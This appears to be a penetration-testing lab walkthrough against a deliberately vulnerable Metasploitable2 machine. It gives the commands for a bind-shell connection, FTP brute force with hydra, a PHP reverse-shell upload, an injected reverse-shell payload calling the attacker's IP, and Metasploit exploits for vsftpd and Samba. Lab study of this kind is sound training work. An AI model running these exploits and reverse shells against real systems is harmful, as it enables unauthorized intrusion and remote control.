Obtain the target IP address from the /etc/hosts file
cat /etc/hosts
10.2.20.205 demo.ine.local
ping 10.2.20.205
ping demo.ine.local
mkdir Desktop/Linux
cd Desktop/Linux/ # To store all the notes and files about the target
nc -nv 10.2.20.205 1524
# provides with a shell on the target system!
cat /etc/*release
DISTRIB_DESCRIPTION="Ubuntu 8.04"
📌 There is a BIND SHELL Listener on the port 1524
Access the web server with a browser
http://10.2.20.205/
There are intentional vulnerable applications present
Targeting
nmap -sV -sC -p 21 10.2.20.205
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.24.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.17.0.2 is not the same as 10.2.20.205
Try anonymous:anonymous with FTP
ftp 10.2.20.205
# With anonymous access no files can be accessed
Exploit vsFTPd
searchsploit vsftpd
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
searchsploit -m 49757
vim 49757.py
chmod +x 49757.py
python3 49757.py 10.2.20.205
# [Errno 111] Connection refused
# Backdoor on port 6200 was removed by the administrator
# Description of the unix/ftp/vsftpd_234_backdoor Metasploit module:
# This module exploits a malicious backdoor that was added to the
# VSFTPD download archive. This backdoor was introduced into the
# vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011
# according to the most recent information available. This backdoor
# was removed on July 3rd 2011.
📌 Exploits might not work because the vulnerability may have been patched!
Enumerate user accounts via SMTP brute-force
nmap -sV -p 25 10.2.20.205
25/tcp open smtp Postfix smtpd
msfconsole
use auxiliary/scanner/smtp/smtp_enum
setg RHOSTS 10.2.20.205
set UNIXONLY true
run
hydra -l service -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.2.20.205 ftp
[21][ftp] host: 10.2.20.205 login: service password: service
📌 FTP credentials found:
service:service
ftp 10.2.20.205
# Use service:service
pwd
Remote directory: /home/service
# User's home directory
cd /
ls
# The "service" user can navigate in the entire file system
exit
Upload a PHP reverse shell via FTP to the /dav directory and launch it with the browser
ls -al /usr/share/webshells/php/
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php shell.php
vim shell.php
# Change the $ip variable to the Kali Attacker VM IP - 10.10.24.6
# Open a new tab and setup a listener
nc -nvlp 1234
# Login with FTP again and upload the shell.php
cd /
cd /var/www/
put shell.php
local: shell.php remote: shell.php
200 EPRT command successful. Consider using EPSV.
553 Could not create file.
# The user does not have the necessary permissions
cd /var/www/dav
put shell.php
Open the browser and run the shell.php file
http://10.2.20.205/dav/
/bin/bash -i
PHP
nmap -sV -sC -p 80 10.2.20.205
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
Modify pwn_code variable and insert PHP reverse shell code
vim 18836.php
# insert:
pwn_code = """<?php $sock=fsockopen("10.10.24.6",1234);exec("/bin/sh -i <&4 >&4 2>&4");?>"""
# Save and quit
# On another tab
nc -nvlp 1234
# Launch the exploit
python2 18836.py 10.2.20.205 80
Automatic MSF exploit/multi/http/php_cgi_arg_injection module can be used too.
nmap -sV -p 445 10.2.20.205
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Banner grabbing
nc -nv 10.2.20.205 445
# No banner
Enumerate the exact version of Samba
msfconsole
search smb_version
use auxiliary/scanner/smb/smb_version
setg RHOSTS 10.2.20.205
run
[*] 10.2.20.205:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.2.20.205:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.2.20.205: - Scanned 1 of 1 hosts (100% complete)
searchsploit samba 3.0.20
# In the MSFconsole
search samba 3.0.20
use exploit/multi/samba/usermap_script
info
# Description:
# This module exploits a command execution vulnerability in Samba
# versions 3.0.20 through 3.0.25rc3 when using the non-default
# "username map script" configuration option. By specifying a username
# containing shell meta characters, attackers can execute arbitrary
# commands. No authentication is needed to exploit this vulnerability
# since this option is used to map usernames prior to authentication!
run
# CTRL+Z to background
sessions
sessions -u 4
sessions 6
